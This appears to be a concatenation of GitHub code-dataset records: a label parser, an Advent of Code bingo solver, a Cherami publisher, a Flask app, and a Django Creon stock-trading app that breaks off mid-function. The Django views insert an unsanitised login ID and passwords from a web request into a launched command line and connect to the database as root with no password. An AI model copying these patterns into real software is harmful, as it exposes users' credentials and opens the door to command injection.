Image.open(f'{PicturePath}/{pic_name}')\n\n pic_meta = get_img_boxes(f, i)\n row_data = change_format(pic_meta, picture.size)\n if row_data is False:\n os.rename(f'{PicturePath}/{pic_name}',\n f'{GarbageImagePath}/{pic_name}')\n continue\n\n # 1. move picture 2. write lable.txt\n os.rename(f'{PicturePath}/{pic_name}', f'{ValidImagePath}/{pic_name}')\n with open(f'{ValidLabelPath}/{pic_name.split(\".\")[0]}.txt', 'w') \\\n as label_file:\n for row in row_data:\n # label_file.write(''.join(str(e) for e in row) + '\\n')\n print(*row, sep=' ', end='\\n', file=label_file)\n","repo_name":"clashroyaleisgood/Course_VRDL","sub_path":"HW2_Object_Detection/parse_label.py","file_name":"parse_label.py","file_ext":"py","file_size_in_byte":5746,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"20"} +{"seq_id":"26988135463","text":"#!/usr/bin/env python3\n\nwith open((__file__.rstrip(\"solution.py\")+\"input.txt\"), 'r') as input_file:\n input = input_file.read()\ndata = [str(line) for line in input.splitlines()]\ntest_data = [\n \"7,4,9,5,11,17,23,2,0,14,21,24,10,16,13,6,15,25,12,22,18,20,8,19,3,26,1\",\n \"\",\n \"22 13 17 11 0\",\n \"8 2 23 4 24\",\n \"21 9 14 16 7\",\n \"6 10 3 18 5\",\n \"1 12 20 15 19\",\n \"\",\n \"3 15 0 2 22\",\n \"9 18 13 17 5\",\n \"19 8 7 25 23\",\n \"20 11 10 24 4\",\n \"14 21 16 12 6\",\n \"\",\n \"14 21 17 24 4\",\n \"10 16 15 9 19\",\n \"18 8 23 26 20\",\n \"22 11 13 6 5\",\n \"2 0 12 3 7\",\n]\n\n\nclass Bingo:\n def __init__(self, rows):\n self.rows = [row.split() for row in rows]\n self.selected = []\n self.cols = [[] for _ in range(0, len(rows))]\n for x, col in enumerate(self.cols):\n for row in self.rows:\n col.append(row[x])\n\n def checkRowForMatches(self, row):\n matches = sum([1 if val in self.selected else 0 for val in row])\n return matches == len(row)\n\n def checkRowsAndCols(self):\n for row in self.rows:\n if self.checkRowForMatches(row):\n return True\n for col in self.cols:\n if self.checkRowForMatches(col):\n return True\n return False\n\n def checkNumber(self, number):\n self.selected.append(number)\n return self.checkRowsAndCols()\n\n def isNotSelected(self, val):\n return not val in self.selected\n\n def calculateScore(self):\n lastNumber = self.selected[-1]\n flattendRows = [val for sublist in self.rows for val in sublist]\n unmarkedVals = list(\n filter(self.isNotSelected, flattendRows))\n unmarkedValsInt = [int(x) for x in unmarkedVals]\n unmarkedTotal = sum(unmarkedValsInt)\n\n return int(lastNumber) * unmarkedTotal\n\n\ndef transformToBingoBoards(input):\n chunkedInput = [input[i:i+6] for i in range(0, len(input), 6)]\n boards = [Bingo(boardData[1:]) for boardData in chunkedInput]\n return boards\n\n\ndef part1(input):\n revealedNumbersInput = input[0].split(',')\n boardInput = input[1:]\n boards = transformToBingoBoards(boardInput)\n\n for i in revealedNumbersInput:\n for board in boards:\n if board.checkNumber(i):\n return board.calculateScore()\n\n return 'No-one won'\n\n\ndef part2(input):\n revealedNumbersInput = input[0].split(',')\n boardInput = input[1:]\n boards = transformToBingoBoards(boardInput)\n\n winOrder = []\n for i in revealedNumbersInput:\n for board in boards:\n if board.checkNumber(i):\n if not board in winOrder:\n winOrder.append(board)\n if len(winOrder) == len(boards):\n return winOrder[-1].calculateScore()\n\n return 'No-one won'\n\n\nprint(\"Part 1 Test Output:\")\nprint(str(part1(test_data)))\nprint(\"Part 1 Output:\")\nprint(str(part1(data)))\n\nprint(\"Part 2 Test Output:\")\nprint(str(part2(test_data)))\nprint(\"Part 2 Output:\")\nprint(str(part2(data)))\n","repo_name":"garethknowles/2021-advent-of-code","sub_path":"day-4/solution.py","file_name":"solution.py","file_ext":"py","file_size_in_byte":3086,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"20"} +{"seq_id":"23628156169","text":"import threading\n\nfrom six.moves import queue\nfrom cherami_client.lib import cherami, cherami_input, util\nfrom cherami_client.publisher_thread import PublisherThread\nfrom cherami_client.reconfigure_thread import ReconfigureThread\n\n\nclass Publisher(object):\n\n def __init__(self,\n logger,\n path,\n tchannel,\n deployment_str,\n headers,\n timeout_seconds,\n reconfigure_interval_seconds):\n self.logger = logger\n self.path = path\n self.tchannel = tchannel\n self.deployment_str = deployment_str\n self.headers = headers\n self.timeout_seconds = timeout_seconds\n self.task_queue = queue.Queue()\n self.workers = {}\n self.reconfigure_signal = threading.Event()\n self.reconfigure_interval_seconds = reconfigure_interval_seconds\n self.reconfigure_thread = None\n\n def _reconfigure(self):\n self.logger.info('publisher reconfiguration started')\n result = util.execute_frontend(\n self.tchannel, self.deployment_str, self.headers, self.timeout_seconds, 'readPublisherOptions',\n cherami.ReadPublisherOptionsRequest(\n path=self.path,\n ))\n\n hostAddresses = []\n for host_protocol in result.hostProtocols:\n if host_protocol.protocol == cherami.Protocol.TCHANNEL:\n hostAddresses = host_protocol.hostAddresses\n break\n\n if not hostAddresses:\n raise Exception(\"tchannel protocol is not supported by cherami server\")\n\n host_connection_set = set(map(lambda h: util.get_connection_key(h), hostAddresses))\n existing_connection_set = set(self.workers.keys())\n missing_connection_set = host_connection_set - existing_connection_set\n extra_connection_set = existing_connection_set - host_connection_set\n\n # clean up\n for extra_conn in extra_connection_set:\n self.logger.info('cleaning up connection %s', extra_conn)\n self.workers[extra_conn].stop()\n del self.workers[extra_conn]\n\n # start up\n for missing_conn in missing_connection_set:\n self.logger.info('creating new connection %s', missing_conn)\n worker = PublisherThread(\n path=self.path,\n task_queue=self.task_queue,\n tchannel=self.tchannel,\n hostport=missing_conn,\n headers=self.headers,\n timeout_seconds=self.timeout_seconds,\n checksum_option=result.checksumOption\n )\n self.workers[missing_conn] = worker\n worker.start()\n\n self.logger.info('publisher reconfiguration succeeded')\n\n # open the publisher. If succeed, we can start to publish messages\n # Otherwise, we should retry opening (with backoff)\n def open(self):\n try:\n self._reconfigure()\n self.reconfigure_thread = ReconfigureThread(\n interval_seconds=self.reconfigure_interval_seconds,\n reconfigure_signal=self.reconfigure_signal,\n reconfigure_func=self._reconfigure,\n logger=self.logger,\n )\n self.reconfigure_thread.start()\n except Exception as e:\n self.logger.exception('Failed to open publisher: %s', e)\n self.close()\n raise e\n\n # close the publisher\n def close(self):\n if self.reconfigure_thread:\n self.reconfigure_thread.stop()\n for worker in self.workers.itervalues():\n worker.stop()\n\n # publish a message. Returns an ack(type is cherami.PutMessageAck)\n # the Status field of the ack indicates whether the publish was successful or not\n # id: an identifier client can use to identify messages \\\n # (cherami doesn't care about this field but just pass through)\n # data: message payload\n # user context: user specified context to pass through\n def publish(self, id, data, userContext={}):\n done_signal = threading.Event()\n result = []\n\n def done_callback(r):\n result.append(r)\n done_signal.set()\n\n # publish and later on wait\n self.publish_async(id, data, done_callback, userContext)\n\n done = done_signal.wait(self.timeout_seconds)\n if not done:\n return util.create_timeout_message_ack(id)\n if len(result) == 0:\n return util.create_failed_message_ack(id, 'unexpected: callback does not carry result')\n return result[0]\n\n # asynchronously publish a message.\n # A callback function needs to be provided(it expects a cherami.PutMessageAck object as parameter)\n def publish_async(self, id, data, callback, userContext={}):\n msg = cherami_input.PutMessage(\n id=id,\n delayMessageInSeconds=0,\n data=data,\n userContext=userContext\n )\n self.task_queue.put((msg, callback))\n","repo_name":"fakeNetflix/uber-repo-cherami-client-python","sub_path":"cherami_client/publisher.py","file_name":"publisher.py","file_ext":"py","file_size_in_byte":5040,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"20"} +{"seq_id":"71019002930","text":"from flask import Flask\nfrom flask import render_template\nfrom flask import request\nfrom flask import jsonify\n\nimport os\nimport data_parser\nimport pandas as pd\nfrom pprint import pprint\n\napp = Flask(__name__)\n\n\n@app.route('/')\ndef hello_world():\n return render_template('index.html')\n\n\n@app.route('/ajax_get_data', methods=[\"GET\", \"POST\"])\ndef ajax_get_box_data():\n if request.method == 'POST':\n df = pd.read_json(os.path.join(app.root_path,\n './static/data/sample.json'))\n data = data_parser.parse(df)\n\n res = jsonify(result=data)\n return res\n\n\n@app.route('/ajax_get_data2', methods=[\"GET\", \"POST\"])\ndef ajax_get_box_data2():\n if request.method == 'POST':\n df = pd.read_json(os.path.join(app.root_path,\n './static/data/sample.json'))\n data = data_parser.parse2(df)\n\n print\n res = jsonify(result=data)\n return res\n\n\n@app.route('/ajax_get_line_data', methods=[\"GET\", \"POST\"])\ndef ajax_get_line_data():\n if request.method == 'POST':\n df = pd.read_json(os.path.join(app.root_path,\n './static/data/sample.json'))\n data = data_parser.line_nvd3_data(df)\n res = jsonify(result=data)\n return res\n\n\napp.debug = True\n\nif __name__ == '__main__':\n app.run()\n","repo_name":"yarnaid/boxplot","sub_path":"awo8.py","file_name":"awo8.py","file_ext":"py","file_size_in_byte":1366,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"20"} +{"seq_id":"73702148848","text":"from flask import Flask, render_template, request\nimport os, sys, ctypes\nimport win32com.client\nimport threading\nimport pandas as pd\nfrom datetime import datetime\nfrom slacker import Slacker\nimport time, calendar\nimport requests \nimport pythoncom\nfrom django.http import HttpResponse,HttpResponseRedirect\nfrom django.shortcuts import render\nfrom pywinauto import application\nfrom datetime import time\nimport time\nfrom enum import Enum\nfrom matplotlib import pyplot as plt\nimport json\nfrom django.shortcuts import render\nfrom django.http import HttpResponse\nfrom .models import Stockname\nimport subprocess\nimport pymysql\nimport requests\nfrom bs4 import BeautifulSoup\nimport re\nfrom PIL import Image\n\n\n\nconn = pymysql.connect(\n host='127.0.0.1',\n user='root',\n password='',\n db='stock')\n\ncurs = conn.cursor()\n\npythoncom.CoInitialize()\n# 크레온 플러스 공통 OBJECT\ncpCodeMgr = win32com.client.Dispatch('CpUtil.CpStockCode')\ncpStatus = win32com.client.Dispatch('CpUtil.CpCybos')\ncpTradeUtil = win32com.client.Dispatch('CpTrade.CpTdUtil')\ncpStock = win32com.client.Dispatch('DsCbo1.StockMst')\ncpOhlc = win32com.client.Dispatch('CpSysDib.StockChart')\ncpBalance = win32com.client.Dispatch('CpTrade.CpTd6033')\ncpCash = win32com.client.Dispatch('CpTrade.CpTdNew5331A')\ncpOrder = win32com.client.Dispatch('CpTrade.CpTd0311')\n\ng_objCodeMgr = win32com.client.Dispatch('CpUtil.CpCodeMgr')\ng_objCpStatus = win32com.client.Dispatch('CpUtil.CpCybos')\ng_objCpTrade = win32com.client.Dispatch('CpTrade.CpTdUtil')\ng_objFutureMgr = win32com.client.Dispatch(\"CpUtil.CpFutureCode\")\ng_objKsdFMgr = win32com.client.Dispatch(\"CpUtil.CpKFutureCode\")\ng_objElwMgr = win32com.client.Dispatch(\"CpUtil.CpElwCode\")\ng_objOptionMgr = win32com.client.Dispatch(\"CpUtil.CpOptionCode\")\ng_objUsMgr = win32com.client.Dispatch(\"CpUtil.CpUsCode\")\n\n\n# 통신 제한 회피를 위한 대기 함수\n# type 0 - 주문 관련 제한 1 - 시세 관련 제한\nclass Rqtype(Enum):\n ORDER = 0\n SISE = 1\n\ndef waitRqLimit(rqtype):\n \n remainCount = g_objCpStatus.GetLimitRemainCount(rqtype.value)\n\n if remainCount > 0:\n print('남은 횟수: ',remainCount)\n return True\n\n remainTime = g_objCpStatus.LimitRequestRemainTime\n print('조회 제한 회피 time wait %.2f초 ' % (remainTime / 1000.0))\n time.sleep(remainTime / 1000)\n return True\n\ndef charttest(request):\n data = [{ 'Date': 1646222400000, 'Open': 388.93, 'High': 389.22, 'Low': 375.21, 'Close': 380.03, 'Volume': 5356800 }]\n return render(request,'polls/test.html',{'data':data})\ndef query(request):\n return render(request,'polls/test.html')\ndef query2(request):\n return render(request,'polls/3.html')\n# 일/주/월 차트 조회 - 개수로 조회\ndef chart_simple1(request):\n stockcode2 = request.POST.get('stockcode2')\n\n\n\n my_title = []\n link = []\n image = []\n\n name = stockcode2 #크롤링할 종목이름\n j = 0\n\n url = \"https://search.naver.com/search.naver?where=news&sm=tab_pge&query=\" + name + \"&sort=0&photo=0&field=0&pd=0&ds=&de=&cluster_rank=55&mynews=0&office_type=0&office_section_code=0&news_office_checked=&nso=so:r,p:all,a:all&start=1\"\n bogi = \"https://postfiles.pstatic.net/MjAyMTAzMjNfMTQ3/MDAxNjE2NDc3MTgxODkz.Q0De_R90sw1LVaTlhCSPqIq5rmT5wPjBFeV0gUakQ3Ig.QXjotxDdqPaL4kZO8skx6X1PrZrdG5FO2ADUYCOzq5Mg.JPEG.gyqls1225/IMG_3227.JPG?type=w773\"\n\n req = requests.get(url)\n soup = BeautifulSoup(req.text, 'html.parser')\n images = soup.select(\".news_wrap.api_ani_send\")\n #sp_nws1 > div.news_wrap.api_ani_send > a > img\n\n titles = soup.select(\".news_tit\")\n for title in titles: \n href = title.attrs[\"href\"]\n data = title.text\n my_title.append(data)\n link.append(href)\n \n \n for img in images:\n img_data = img.select_one(\"a > img\")\n #img_data = img.select_one(\"a > img\")['src']\n if(img_data is None):\n image.append(bogi)\n continue\n image.append(img_data.get('src'))\n\n\n \n\n \n print(image[0])\n\n\n curs.execute(\"SELECT code FROM stock.stockname where name =%s\",stockcode2)\n \n rs = curs.fetchall()\n for row in rs:\n for code in row:\n print(code,end='') \n \n \n code = \"A\"+code\n stockvalue = request.POST.get('stockvalue')\n stockvalue2 = request.POST.get('stockvalue2')\n print(type(stockcode2))\n print(type(stockvalue))\n print(type(stockvalue2))\n objStockChart = win32com.client.Dispatch(\"CpSysDib.StockChart\")\n objStockChart.SetInputValue(0, code) # 종목 코드 - 삼성전자\n objStockChart.SetInputValue(1, ord('2')) # 개수로 조회\n objStockChart.SetInputValue(4, 100)\n objStockChart.SetInputValue(5, [0, 2, 3, 4, 5, 8]) # 날짜,시가,고가,저가,종가,거래량\n objStockChart.SetInputValue(6, ord('D')) # '차트 주기\n objStockChart.SetInputValue(8, ord('0')) # 갭보정여부(char)\n objStockChart.SetInputValue(9, ord('1')) # 수정주가(char) - '0': 무수정 '1': 수정주가\n objStockChart.SetInputValue(10, ord('1')) # 거래량구��(char) - '1' 시간외거래량모두포함[Default]\n\n cData = []\n\n while (1):\n # 시세 연속 제한 체크 \n waitRqLimit(Rqtype.SISE)\n # 차트 통신\n objStockChart.BlockRequest()\n rqStatus = objStockChart.GetDibStatus()\n rqRet = objStockChart.GetDibMsg1()\n print(\"통신상태\", rqStatus, rqRet)\n if rqStatus != 0:\n return\n\n clen = objStockChart.GetHeaderValue(3)\n\n\n for i in range(0, clen):\n item = {}\n dateFormat = '%Y%m%d'\n date = objStockChart.GetDataValue(0, i)\n Y = int(date / 10000)\n m = int((date - (Y * 10000)) / 100)\n d = date - Y*10000 - m*100\n dt = datetime(Y, m, d)\n a = time.mktime(dt.timetuple())\n # a = objStockChart.GetDataValue(0, i)\n item['Date'] = int(a) * 1000\n item['Open'] = objStockChart.GetDataValue(1, i)\n item['High'] = objStockChart.GetDataValue(2, i)\n item['Low'] = objStockChart.GetDataValue(3, i)\n item['Close'] = objStockChart.GetDataValue(3, i)\n item['Volume'] = objStockChart.GetDataValue(5, i)\n \n cData.append(item)\n \n if (objStockChart.Continue == False):\n # print('연속플래그 없음')\n break\n\n request.session['test'] = cData\n request.session['name'] = stockcode2\n request.session['title'] = my_title\n request.session['link'] = link\n request.session['news'] = image\n \n return render(request, 'polls/main.html', {\"cData\": cData,\"stockcode3\":stockcode2,\n 'my_title0':my_title[0],'link0':link[0],'my_title1':my_title[1],'link1':link[1],'my_title2':my_title[2],'link2':link[2],\n 'my_title3':my_title[3],'link3':link[3],'my_title4':my_title[4],'link4':link[4],'my_title5':my_title[5],'link5':link[5],\n 'my_title6':my_title[6],'link6':link[6],'my_title7':my_title[7],'link7':link[7],'my_title8':my_title[8],'link8':link[8],\n 'my_title9':my_title[9],'link9':link[9],'image0':image[0],'image1':image[1],'image2':image[2],'image3':image[3],'image4':image[4],'image5':image[5],'image6':image[6],'image7':image[7],'image8':image[8],'image9':image[9]})\n\n \ndef dl(request):\n return render(request,\"polls/dl.html\")\n\ndef get_current_cash():\n \"\"\"증거금 100% 주문 가능 금액을 반환한다.\"\"\"\n cpTradeUtil.TradeInit()\n acc = cpTradeUtil.AccountNumber[0] # 계좌번호\n accFlag = cpTradeUtil.GoodsList(acc, 1) # -1:전체, 1:주식, 2:선물/옵션\n cpCash.SetInputValue(0, acc) # 계좌번호\n cpCash.SetInputValue(1, accFlag[0]) # 상품구분 - 주식 상품 중 첫번째\n cpCash.BlockRequest()\n return cpCash.GetHeaderValue(9) # 증거금 100% 주문 가능 금액\n\n\n \ndef index(request):\n return render(request,'polls/hello.html')\n #return HttpResponse(\"Hello, world. You're at the polls index.\")\n\ndef hello(request):\n \n if request.method == \"POST\":\n list=request.POST.get(\"num\")\n hi=request.POST.get(\"name\")\n passwd = request.POST.get(\"pass\")\n print(list)\n print(hi)\n print(passwd)\n os.system('taskkill /IM coStarter* /F /T')\n os.system('taskkill /IM CpStart* /F /T')\n os.system('taskkill /IM DibServer* /F /T')\n os.system('wmic process where \"name like \\'%coStarter%\\'\" call terminate')\n os.system('wmic process where \"name like \\'%CpStart%\\'\" call terminate')\n os.system('wmic process where \"name like \\'%DibServer%\\'\" call terminate')\n \n \n app = application.Application()\n app.start('C:\\CREON\\STARTER\\coStarter.exe /prj:cp /id:{list} /pwd:{hi} /pwdcert:{passwd} /autostart'.format(list=list, hi=hi, passwd=passwd))\n time.sleep(20)\n\n stockcode3= '삼성전자'\n \n image = []\n my_title = []\n link = []\n name = stockcode3 #크롤링할 종목이름\n j = 0\n\n url = \"https://search.naver.com/search.naver?where=news&sm=tab_pge&query=\" + name + \"&sort=0&photo=0&field=0&pd=0&ds=&de=&cluster_rank=55&mynews=0&office_type=0&office_section_code=0&news_office_checked=&nso=so:r,p:all,a:all&start=1\"\n bogi = \"https://postfiles.pstatic.net/MjAyMTAzMjNfMTQ3/MDAxNjE2NDc3MTgxODkz.Q0De_R90sw1LVaTlhCSPqIq5rmT5wPjBFeV0gUakQ3Ig.QXjotxDdqPaL4kZO8skx6X1PrZrdG5FO2ADUYCOzq5Mg.JPEG.gyqls1225/IMG_3227.JPG?type=w773\"\n\n req = requests.get(url)\n soup = BeautifulSoup(req.text, 'html.parser')\n images = soup.select(\".news_wrap.api_ani_send\")\n titles = soup.select(\".news_tit\")\n for title in titles: \n href = title.attrs[\"href\"]\n data = title.text\n my_title.append(data)\n link.append(href)\n\n for img in images:\n img_data = img.select_one(\"a > img\")\n #img_data = img.select_one(\"a > img\")['src']\n if(img_data is None):\n image.append(bogi)\n continue\n image.append(img_data.get('src'))\n\n\n\n code = 'A005930'\n objStockChart = win32com.client.Dispatch(\"CpSysDib.StockChart\")\n objStockChart.SetInputValue(0, code) # 종목 코드 - 삼성전자\n objStockChart.SetInputValue(1, ord('2')) # 개수로 조회\n objStockChart.SetInputValue(4, 100)\n objStockChart.SetInputValue(5, [0, 2, 3, 4, 5, 8]) # 날짜,시가,고가,저가,종가,거래량\n objStockChart.SetInputValue(6, ord('D')) # '차트 주기\n objStockChart.SetInputValue(8, ord('0')) # 갭보정여부(char)\n objStockChart.SetInputValue(9, ord('1')) # 수정주가(char) - '0': 무수정 '1': 수정주가\n objStockChart.SetInputValue(10, ord('1')) # 거래량구분(char) - '1' 시간외거래량모두포함[Default]\n\n cData = []\n\n while (1):\n # 시세 연속 제한 체크 \n waitRqLimit(Rqtype.SISE)\n # 차트 통신\n objStockChart.BlockRequest()\n rqStatus = objStockChart.GetDibStatus()\n rqRet = objStockChart.GetDibMsg1()\n # print(\"통신상태\", rqStatus, rqRet)\n if rqStatus != 0:\n return\n\n clen = objStockChart.GetHeaderValue(3)\n\n\n for i in range(0, clen):\n item = {}\n dateFormat = '%Y%m%d'\n date = objStockChart.GetDataValue(0, i)\n Y = int(date / 10000)\n m = int((date - (Y * 10000)) / 100)\n d = date - Y*10000 - m*100\n dt = datetime(Y, m, d)\n a = time.mktime(dt.timetuple())\n # a = objStockChart.GetDataValue(0, i)\n item['Date'] = int(a) * 1000\n item['Open'] = objStockChart.GetDataValue(1, i)\n item['High'] = objStockChart.GetDataValue(2, i)\n item['Low'] = objStockChart.GetDataValue(3, i)\n item['Close'] = objStockChart.GetDataValue(3, i)\n item['Volume'] = objStockChart.GetDataValue(5, i)\n \n cData.append(item)\n\n if (objStockChart.Continue == False):\n # print('연속플래그 없음')\n break\n return render(request,'polls/main.html',{'cData':cData,'my_title0':my_title[0],'link0':link[0],'my_title1':my_title[1],'link1':link[1],'my_title2':my_title[2],'link2':link[2],\n 'my_title3':my_title[3],'link3':link[3],'my_title4':my_title[4],'link4':link[4],'my_title5':my_title[5],'link5':link[5],\n 'my_title6':my_title[6],'link6':link[6],'my_title7':my_title[7],'link7':link[7],'my_title8':my_title[8],'link8':link[8],\n 'my_title9':my_title[9],'link9':link[9],'stockcode3':stockcode3,'image0':image[0],'image1':image[1],'image2':image[2],'image3':image[3],\n 'image4':image[4],'image5':image[5],'image6':image[6],'image7':image[7],'image8':image[8],'image9':image[9]})\n\n\n\n\ndef dbgout(message):\n \"\"\"인자로 받은 문자열을 파이썬 셸과 슬랙으로 동시에 출력한다.\"\"\"\n print(datetime.now().strftime('[%m/%d %H:%M:%S]'), message)\n strbuf = datetime.now().strftime('[%m/%d %H:%M:%S] ') + message\n #post_message(myToken,\"#stock\",strbuf)\n\ndef printlog(message, *args):\n \"\"\"인자로 받은 문자열을 파이썬 셸에 출력한다.\"\"\"\n print(datetime.now().strftime('[%m/%d %H:%M:%S]'), message, *args)\n\n\ndef check_creon_system():\n \"\"\"크레온 플러스 시스템 연결 상태를 점검한다.\"\"\"\n # 관리자 권한으로 프로세스 실행 여부\n if not ctypes.windll.shell32.IsUserAnAdmin():\n printlog('check_creon_system() : admin user -> FAILED')\n return False\n\n # 연결 여부 체크\n if (cpStatus.IsConnect == 0):\n printlog('check_creon_system() : connect to server -> FAILED')\n return False\n\n # 주문 관련 초기화 - 계좌 관련 코드가 있을 때만 사용\n if (cpTradeUtil.TradeInit(0) != 0):\n printlog('check_creon_system() : init trade -> FAILED')\n return False\n return True\n\n\ndef get_current_price(code):\n \"\"\"인자로 받은 종목의 현재가, 매도호가, 매수호가를 반환한다.\"\"\"\n cpStock.SetInputValue(0, code) # 종목코드에 대한 가격 정보\n cpStock.BlockRequest()\n item = {}\n item['cur_price'] = cpStock.GetHeaderValue(11) # 현재가\n item['ask'] = cpStock.GetHeaderValue(16) # 매도호가\n item['bid'] = cpStock.GetHeaderValue(17) # 매수호가\n return item['cur_price'], item['ask'], item['bid']\n\n\ndef get_ohlc(code, qty):\n \"\"\"인자로 받은 종목의 OHLC 가격 정보를 qty 개수만큼 반환한다.\"\"\"\n cpOhlc.SetInputValue(0, code) # 종목코드\n cpOhlc.SetInputValue(1, ord('2')) # 1:기간, 2:개수\n cpOhlc.SetInputValue(4, qty) # 요청개수\n cpOhlc.SetInputValue(5, [0, 2, 3, 4, 5]) # 0:날짜, 2~5:OHLC\n cpOhlc.SetInputValue(6, ord('D')) # D:일단위\n cpOhlc.SetInputValue(9, ord('1')) # 0:무수정주가, 1:수정주가\n cpOhlc.BlockRequest()\n count = cpOhlc.GetHeaderValue(3) # 3:수신개수\n columns = ['open', 'high', 'low', 'close']\n index = []\n rows = []\n for i in range(count):\n index.append(cpOhlc.GetDataValue(0, i))\n rows.append([cpOhlc.GetDataValue(1, i), cpOhlc.GetDataValue(2, i),\n cpOhlc.GetDataValue(3, i), cpOhlc.GetDataValue(4, i)])\n df = pd.DataFrame(rows, columns=columns, index=index)\n return df\n\n\ndef get_stock_balance(code):\n \"\"\"인자로 받은 종목의 종목명과 수량을 반환한다.\"\"\"\n cpTradeUtil.TradeInit()\n acc = cpTradeUtil.AccountNumber[0] # 계좌번호\n accFlag = cpTradeUtil.GoodsList(acc, 1) # -1:전체, 1:주식, 2:선물/옵션\n cpBalance.SetInputValue(0, acc) # 계좌번호\n cpBalance.SetInputValue(1, accFlag[0]) # 상품구분 - 주식 상품 중 첫번째\n cpBalance.SetInputValue(2, 50) # 요청 건수(최대 50)\n cpBalance.BlockRequest()\n if code == 'ALL':\n dbgout('계좌명: ' + str(cpBalance.GetHeaderValue(0)))\n dbgout('결제잔고수량 : ' + str(cpBalance.GetHeaderValue(1)))\n dbgout('평가금액: ' + str(cpBalance.GetHeaderValue(3)))\n dbgout('평가손익: ' + str(cpBalance.GetHeaderValue(4)))\n dbgout('종목수: ' + str(cpBalance.GetHeaderValue(7)))\n stocks = []\n for i in range(cpBalance.GetHeaderValue(7)):\n stock_code = cpBalance.GetDataValue(12, i) # 종목코드\n stock_name = cpBalance.GetDataValue(0, i) # 종목명\n stock_qty = cpBalance.GetDataValue(15, i) # 수량\n if code == 'ALL':\n dbgout(str(i + 1) + ' ' + stock_code + '(' + stock_name + ')'\n + ':' + str(stock_qty))\n stocks.append({'code': stock_code, 'name': stock_name,\n 'qty': stock_qty})\n if stock_code == code:\n return stock_name, stock_qty\n if code == 'ALL':\n return stocks\n else:\n stock_name = cpCodeMgr.CodeToName(code)\n return stock_name, 0\n\n\n\n\n\ndef get_target_price(code):\n \"\"\"매수 목표가를 반환한다.\"\"\"\n try:\n time_now = datetime.now()\n str_today = time_now.strftime('%Y%m%d')\n ohlc = get_ohlc(code, 10)\n if str_today == str(ohlc.iloc[0].name):\n today_open = ohlc.iloc[0].open\n lastday = ohlc.iloc[1]\n else:\n lastday = ohlc.iloc[0]\n today_open = lastday[3]\n lastday_high = lastday[1]\n lastday_low = lastday[2]\n target_price = today_open + (lastday_high - lastday_low) * 0.5\n return target_price\n except Exception as ex:\n dbgout(\"`get_target_price() -> exception! \" + str(ex) + \"`\")\n return None\n\n\ndef get_movingaverage(code, window):\n \"\"\"인자로 받은 종목에 대한 이동평균가격을 반환한다.\"\"\"\n try:\n time_now = datetime.now()\n str_today = time_now.strftime('%Y%m%d')\n ohlc = get_ohlc(code, 20)\n if str_today == str(ohlc.iloc[0].name):\n lastday = ohlc.iloc[1].name\n else:\n lastday = ohlc.iloc[0].name\n closes = ohlc['close'].sort_index()\n ma = closes.rolling(window=window).mean()\n return ma.loc[lastday]\n except Exception as ex:\n dbgout('get_movingavrg(' + str(window) + ') -> exception! ' + str(ex))\n return None\n\n\ndef buy_etf(code):\n buy_percent = 1 #퍼센트도 변수로 넣어야된다.\n total_cash = int(get_current_cash()) # 100% 증거금 주문 가능 금액 조회\n buy_amount = total_cash * buy_percent # 종목별 주문 금액 계산\n \"\"\"인자로 받은 종목을 최유리 지정가 FOK 조건으로 매수한다.\"\"\"\n try:\n global bought_list # 함수 내에서 값 변경을 하기 위해 global로 지정\n if code in bought_list: # 매수 완료 종목이면 더 이상 안 사도록 함수 종료\n # printlog('code:', code, 'in', bought_list)\n return False\n time_now = datetime.now()\n current_price, ask_price, bid_price = get_current_price(code)\n target_price = get_target_price(code) # 매수 목표가\n ma5_price = get_movingaverage(code, 5) # 5일 이동평균가\n ma10_price = get_movingaverage(code, 10) # 10일 이동평균가\n buy_qty = 0 # 매수할 수량 초기화\n if ask_price > 0: # 매도호가가 존재하면\n buy_qty = buy_amount // ask_price\n stock_name, stock_qty = get_stock_balance(code) # 종목명과 보유수량 조회\n # printlog('bought_list:', bought_list, 'len(bought_list):',\n # len(bought_list), 'target_buy_count:', target_buy_count)\n if current_price > target_price and current_price > ma5_price \\\n and current_price > ma10_price:\n printlog(stock_name + '(' + str(code) + ') ' + str(buy_qty) +\n 'EA : ' + str(current_price) + ' meets the buy condition!`')\n cpTradeUtil.TradeInit()\n acc = cpTradeUtil.AccountNumber[0] # 계좌번호\n accFlag = cpTradeUtil.GoodsList(acc, 1) # -1:전체,1:주식,2:선물/옵션\n # 최유리 FOK 매수 주문 설정\n cpOrder.SetInputValue(0, \"2\") # 2: 매수\n cpOrder.SetInputValue(1, acc) # 계좌번호\n cpOrder.SetInputValue(2, accFlag[0]) # 상품구분 - 주식 상품 중 첫번째\n cpOrder.SetInputValue(3, code) # 종목코드\n cpOrder.SetInputValue(4, buy_qty) # 매수할 수량\n cpOrder.SetInputValue(7, \"2\") # 주문조건 0:기본, 1:IOC, 2:FOK\n cpOrder.SetInputValue(8, \"12\") # 주문호가 1:보통, 3:시장가\n # 5:조건부, 12:최유리, 13:최우선\n # 매수 주문 요청\n ret = cpOrder.BlockRequest()\n printlog('최유리 FoK 매수 ->', stock_name, code, buy_qty, '->', ret)\n if ret == 4:\n remain_time = cpStatus.LimitRequestRemainTime\n printlog('주의: 연속 주문 제한에 걸림. 대기 시간:', remain_time / 1000)\n time.sleep(remain_time / 1000)\n return False\n time.sleep(2)\n printlog('현금주문 가능금액 :', buy_amount)\n stock_name, bought_qty = get_stock_balance(code)\n printlog('get_stock_balance :', stock_name, stock_qty)\n if bought_qty > 0:\n bought_list.append(code)\n dbgout(\"`buy_etf(\" + str(stock_name) + ' : ' + str(code) +\n \") -> \" + str(bought_qty) + \"EA bought!\" + \"`\")\n except Exception as ex:\n dbgout(\"`buy_etf(\" + str(code) + \") -> exception! \" + str(ex) + \"`\")\n\n\ndef sell_all():\n \"\"\"보유한 모든 종목을 최유리 지정가 IOC 조건으로 매도한다.\"\"\"\n try:\n cpTradeUtil.TradeInit()\n acc = cpTradeUtil.AccountNumber[0] # 계좌번호\n accFlag = cpTradeUtil.GoodsList(acc, 1) # -1:전체, 1:주식, 2:선물/옵션\n while True:\n stocks = get_stock_balance('ALL')\n total_qty = 0\n for s in stocks:\n total_qty += s['qty']\n if total_qty == 0:\n return True\n for s in stocks:\n if s['qty'] != 0:\n cpOrder.SetInputValue(0, \"1\") # 1:매도, 2:매수\n cpOrder.SetInputValue(1, acc) # 계좌번호\n 